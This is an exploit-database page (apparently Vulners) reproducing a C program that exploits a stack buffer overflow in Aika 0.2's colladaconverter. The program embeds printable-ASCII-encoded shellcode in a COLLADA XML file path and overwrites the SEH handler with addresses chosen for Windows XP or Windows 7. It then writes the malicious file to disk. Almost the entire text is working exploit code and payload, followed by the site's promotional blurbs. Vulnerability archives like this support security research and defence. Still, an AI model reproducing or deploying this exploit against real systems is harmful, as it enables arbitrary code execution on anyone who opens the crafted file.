Vulners
Lucene search
Aika 0.2 - colladaconverter Xml Parsing Buffer Overflow
/*
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
# Exploit Title: Aika colladaconverter buffer overflow exploit
# Date: 09/11/2011
# Author: isciurus
# Software Link: http://aika.googlecode.com/files/aika-v02.zip
# Version: 0.2
# Tested on: Windows 7 x64
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include "string.h"
char printableASCIIShellcode[] = // encoded 499 bytes
"WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path ---------
"OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" // |
"GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" // |
"RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" // |
"UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" // |
"EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" // |
"JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" // |
"HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY"; // |
// |
char xml[] = // |
"<?xml version=\"1.0\" encoding=\"utf8\"?>" // |
"<COLLADA xmlns=\"http://www.collada.org/2005/11/COLLADASchema\" version=\"1.4.1\">" // |
"<asset>" // |
" <contributor>" // |
" <author>isciurus</author>" // |
" <comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" // |
" </contributor>" // |
" <created>2011-09-04T22:29:59Z</created>" // |
" <modified>2011-09-04T22:29:59Z</modified>" // |
" <unit meter=\"0.01\" name=\"centimeter\"/>" // |
" <up_axis>Y_UP</up_axis>" // |
"</asset>" // |
"<library_cameras>" // |
" <camera id=\"cameraShape1\" name=\"cameraShape1\">" // |
" <optics>" // |
" <technique_common>" // |
" <perspective>" // |
" <yfov>37.8492</yfov>" // |
" <aspect_ratio>1.5</aspect_ratio>" // |
" <znear>1</znear>" // |
" <zfar>10000</zfar>" // |
" </perspective>" // |
" </technique_common>" // |
" </optics>" // |
" </camera>" // |
"</library_cameras>" // |
"<library_lights></library_lights>" // |
"<library_images>" // |
" <image id=\"file2\" name=\"file2\" depth=\"1\">" // |
" <init_from>E:\\aika\\" // <---------------------------
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
// ^
// |
// ------------------------------------------------- the shellcode will be copied at this address
"AAAAA"
" </init_from>"
" </image>"
" <image id=\"file3\" name=\"file3\" depth=\"1\">"
" <init_from>E:\\aika\\"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
// ^
// |
// -------------------------------------------------------- these bytes will overwrite SEH handler
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // this part forces the application to write outside
"AAAAAAAAAAAAAAAAAAAA" // the stack and triggers AV exception
" </init_from>"
" </image>"
"</library_images>"
"<library_materials>"
" <material id=\"blinn3\" name=\"blinn3\">"
" <instance_effect url=\"#blinn3-fx\"/>"
" </material>"
"</library_materials>"
"<library_geometries>"
" <geometry id=\"LOD3spShape-lib\" name=\"LOD3spShape\">"
" <mesh>"
" <source id=\"LOD3spShape-lib-positions\" name=\"position\">"
" <technique_common>"
" <accessor count=\"2108\" offset=\"0\" source=\"#LOD3spShape-lib-positions-array\" stride=\"3\">"
" <param name=\"X\" type=\"float\"/>"
" <param name=\"Y\" type=\"float\"/>"
" <param name=\"Z\" type=\"float\"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <source id=\"LOD3spShape-lib-normals\" name=\"normal\">"
" <technique_common>"
" <accessor count=\"2290\" offset=\"0\" source=\"#LOD3spShape-lib-normals-array\" stride=\"3\">"
" <param name=\"X\" type=\"float\"/>"
" <param name=\"Y\" type=\"float\"/>"
" <param name=\"Z\" type=\"float\"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <source id=\"LOD3spShape-lib-map1\" name=\"map1\">"
" <technique_common>"
" <accessor count=\"2277\" offset=\"0\" source=\"#LOD3spShape-lib-map1-array\" stride=\"2\">"
" <param name=\"S\" type=\"float\"/>"
" <param name=\"T\" type=\"float\"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <vertices id=\"LOD3spShape-lib-vertices\">"
" <input semantic=\"POSITION\" source=\"#LOD3spShape-lib-positions\"/>"
" </vertices>"
" <triangles count=\"4212\" material=\"blinn3SG\">"
" <input offset=\"0\" semantic=\"VERTEX\" source=\"#LOD3spShape-lib-vertices\"/>"
" <input offset=\"1\" semantic=\"NORMAL\" source=\"#LOD3spShape-lib-normals\"/>"
" <input offset=\"2\" semantic=\"TEXCOORD\" source=\"#LOD3spShape-lib-map1\" set=\"0\"/>"
" <p>375</p>"
" </triangles>"
" </mesh>"
" </geometry>"
"</library_geometries>"
"<scene>"
" <instance_visual_scene url=\"#VisualSceneNode\"/>"
"</scene>"
"</COLLADA>";
int main(int argc, char **argv)
{
FILE *xml_file;
char win7;
char *offset;
char *ll;
if(argc < 2)
{
printf("\nUsage: aika_bof <malformed_collada_xml_path>");
return 0;
}
if(sizeof(printableASCIIShellcode) > 644)
{
printf("\nSorry, the shellcode is too long, 644 chars is maximum");
return 0;
}
while(1)
{
char os;
printf("\nChoose OS version ([X] for Windows XP, [7] for Windows 7):");
os = tolower(getchar());
if(os == 'x')
{
win7 = 0;
break;
}
else if(os == '7')
{
win7 = 1;
break;
}
else
{
printf("\nUnknown OS version");
}
}
printf("\n[*] Injecting the shellcode into the xml...");
offset = strstr(xml, "SSSSSSSSSSSSSSSSSSSSSSSSSSSS");
strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode) - 1);
if(win7 == 1)
{
offset = strstr(xml, "ADDR_1");
strncpy(offset, "%40%02", sizeof("%40%02") -1);
offset = strstr(xml, "ADDR_2");
strncpy(offset, "%40%02", sizeof("%40%02") -1);
}
else
{
offset = strstr(xml, "ADDR_1");
strncpy(offset, "%40%01", sizeof("%40%01") -1);
offset = strstr(xml, "ADDR_2");
strncpy(offset, "%40%01", sizeof("%40%01") -1);
}
printf("done");
printf("\n[*] Writing %d bytes to %s...", sizeof(xml), argv[1]);
xml_file = fopen(argv[1], "wb");
if(xml_file == NULL)
{
printf("\nerror while opening %s", argv[1]);
return 0;
}
if(fwrite(xml, 1, sizeof(xml) - 1, xml_file) != sizeof(xml) - 1)
{
printf("\nerror while writing into %s", argv[1]);
return 0;
}
printf("done");
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Sep 2011 00:00Current
7High risk
Vulners AI Score7